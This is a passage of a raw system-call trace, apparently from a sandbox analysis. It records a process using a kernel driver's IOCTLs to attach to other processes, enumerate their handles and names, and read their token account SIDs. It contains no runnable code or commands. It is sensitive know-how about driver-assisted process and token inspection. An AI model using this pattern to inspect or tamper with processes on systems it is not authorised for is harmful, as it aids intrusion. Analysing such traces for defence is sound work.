AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.824] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x12 [0137.824] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.824] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.824] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.824] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.824] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.826] CloseHandle (hObject=0xc8) returned 1 [0137.826] CloseHandle (hObject=0xc0) returned 1 [0137.826] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.826] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.826] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.826] PsAcquireProcessExitSynchronization () returned 0x0 [0137.826] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054735d0) [0137.826] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021449e0, HandleInformation=0x0) returned 0x0 [0137.826] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.826] PsReleaseProcessExitSynchronization () returned 0x2 [0137.826] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0137.826] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.826] ObfDereferenceObject (Object=0xfffffa80021449e0) returned 0x1 [0137.826] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.826] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.826] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.826] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0137.827] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.827] PsAcquireProcessExitSynchronization () returned 0x0 [0137.827] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054735d0) [0137.827] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021485e0, HandleInformation=0x0) returned 0x0 [0137.827] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.827] PsReleaseProcessExitSynchronization () returned 0x2 [0137.827] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0137.827] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.827] ObfDereferenceObject (Object=0xfffffa80021485e0) returned 0x1 [0137.827] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.827] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.827] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.827] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.827] PsAcquireProcessExitSynchronization () returned 0x0 [0137.827] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054735d0) [0137.827] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.827] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.827] PsReleaseProcessExitSynchronization () returned 0x2 [0137.827] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0137.827] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.827] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.827] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.827] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.827] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb00) returned 0xc0 [0137.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.827] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002151560, HandleInformation=0x0) returned 0x0 [0137.827] ObOpenObjectByPointer (in: Object=0xfffffa8002151560, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.827] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x12 [0137.827] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.827] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.828] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.828] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.828] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.829] CloseHandle (hObject=0xc8) returned 1 [0137.829] CloseHandle (hObject=0xc0) returned 1 [0137.829] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.829] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.829] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.829] PsAcquireProcessExitSynchronization () returned 0x0 [0137.829] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054735d0) [0137.829] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002151e90, HandleInformation=0x0) returned 0x0 [0137.829] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.829] PsReleaseProcessExitSynchronization () returned 0x2 [0137.829] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0137.829] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.829] ObfDereferenceObject (Object=0xfffffa8002151e90) returned 0x1 [0137.829] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.829] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.830] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0137.830] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.830] PsAcquireProcessExitSynchronization () returned 0x0 [0137.830] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054735d0) [0137.830] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002155f20, HandleInformation=0x0) returned 0x0 [0137.830] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.830] PsReleaseProcessExitSynchronization () returned 0x2 [0137.830] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0137.830] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.830] ObfDereferenceObject (Object=0xfffffa8002155f20) returned 0x1 [0137.830] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.830] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.830] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.830] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.830] PsAcquireProcessExitSynchronization () returned 0x0 [0137.830] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054735d0) [0137.830] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.830] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.830] PsReleaseProcessExitSynchronization () returned 0x2 [0137.830] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0137.830] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.830] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.830] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.830] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.830] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb10) returned 0xc0 [0137.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.830] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020fdb30, HandleInformation=0x0) returned 0x0 [0137.830] ObOpenObjectByPointer (in: Object=0xfffffa80020fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.830] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x12 [0137.830] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.831] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.831] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.831] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.831] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.832] CloseHandle (hObject=0xc8) returned 1 [0137.832] CloseHandle (hObject=0xc0) returned 1 [0137.832] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.832] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.832] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.832] PsAcquireProcessExitSynchronization () returned 0x0 [0137.832] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054735d0) [0137.832] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001ed4070, HandleInformation=0x0) returned 0x0 [0137.832] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.832] PsReleaseProcessExitSynchronization () returned 0x2 [0137.832] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0137.832] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.832] ObfDereferenceObject (Object=0xfffffa8001ed4070) returned 0x1 [0137.832] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.833] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.833] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x9e, lpOverlapped=0x0) returned 1 [0137.833] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.833] PsAcquireProcessExitSynchronization () returned 0x0 [0137.833] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054735d0) [0137.833] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020fd070, HandleInformation=0x0) returned 0x0 [0137.833] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.833] PsReleaseProcessExitSynchronization () returned 0x2 [0137.833] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0137.833] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.833] ObfDereferenceObject (Object=0xfffffa80020fd070) returned 0x1 [0137.833] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.833] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.833] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.833] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.833] PsAcquireProcessExitSynchronization () returned 0x0 [0137.833] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054735d0) [0137.833] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.833] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.833] PsReleaseProcessExitSynchronization () returned 0x2 [0137.833] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0137.833] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0137.833] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.833] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.833] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.833] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb20) returned 0xc0 [0137.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.833] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002117b30, HandleInformation=0x0) returned 0x0 [0137.833] ObOpenObjectByPointer (in: Object=0xfffffa8002117b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.833] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x12 [0137.833] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.833] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.834] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.834] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.834] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.888] CloseHandle (hObject=0xc8) returned 1 [0137.888] CloseHandle (hObject=0xc0) returned 1 [0137.888] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.888] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.888] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.888] PsAcquireProcessExitSynchronization () returned 0x0 [0137.888] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054735d0) [0137.889] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800202a8e0, HandleInformation=0x0) returned 0x0 [0137.889] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.889] PsReleaseProcessExitSynchronization () returned 0x2 [0137.889] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0137.889] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0137.889] ObfDereferenceObject (Object=0xfffffa800202a8e0) returned 0x1 [0137.889] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.889] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.889] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.889] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0137.889] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.889] PsAcquireProcessExitSynchronization () returned 0x0 [0137.889] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054735d0) [0137.889] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002117190, HandleInformation=0x0) returned 0x0 [0137.889] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.889] PsReleaseProcessExitSynchronization () returned 0x2 [0137.889] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0137.889] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, 